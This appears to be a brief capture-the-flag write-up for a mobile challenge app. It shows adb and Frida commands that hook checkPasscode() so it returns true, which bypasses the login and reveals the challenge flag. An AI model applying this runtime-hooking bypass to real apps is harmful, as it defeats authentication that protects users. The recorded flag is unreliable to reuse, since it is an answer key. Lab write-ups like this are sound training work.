Hook it or flip the byte, Only brave should enter the might.

- Basic frida script hook on checkPasscode return true worked.

```

[kskul@Omen16z]-(D:/Jobs/Payatu/Mobile] 2ms ✘
$ adb install .\AStrangeDoor.apk
Performing Streamed Install
Success
[kskul@Omen16z]-(D:/Jobs/Payatu/Mobile] 5s ✘
$ frida -U -f com.payatu.astragedoor -l .\scripts\StrangeDoor.js

/---| Frida 17.1.5 - A world-class dynamic instrumentation toolkit
| C_ | Commands:
/_/|_| help      -> Displays the help system
...|_| object?   -> Display information about 'object'
...|_| exit/quit -> Exit
...|_| More info at https://frida.re/docs/home/
...|_| Connected to 21061119BI (id=f296f27d0504)
Spawned 'com.payatu.astragedoor'. Resuming main thread!
[21061119BI::com.payatu.astragedoor ]-> [*] Hooks installed on LoginActivity
[+] Bypassing checkPasscode() with input: 111111
[+] Decrypted flag: PAYATU{ASDS73V3NS7R@NG3POP}

```

- Flag: PAYATU{ASDS73V3NS7R@NG3POP}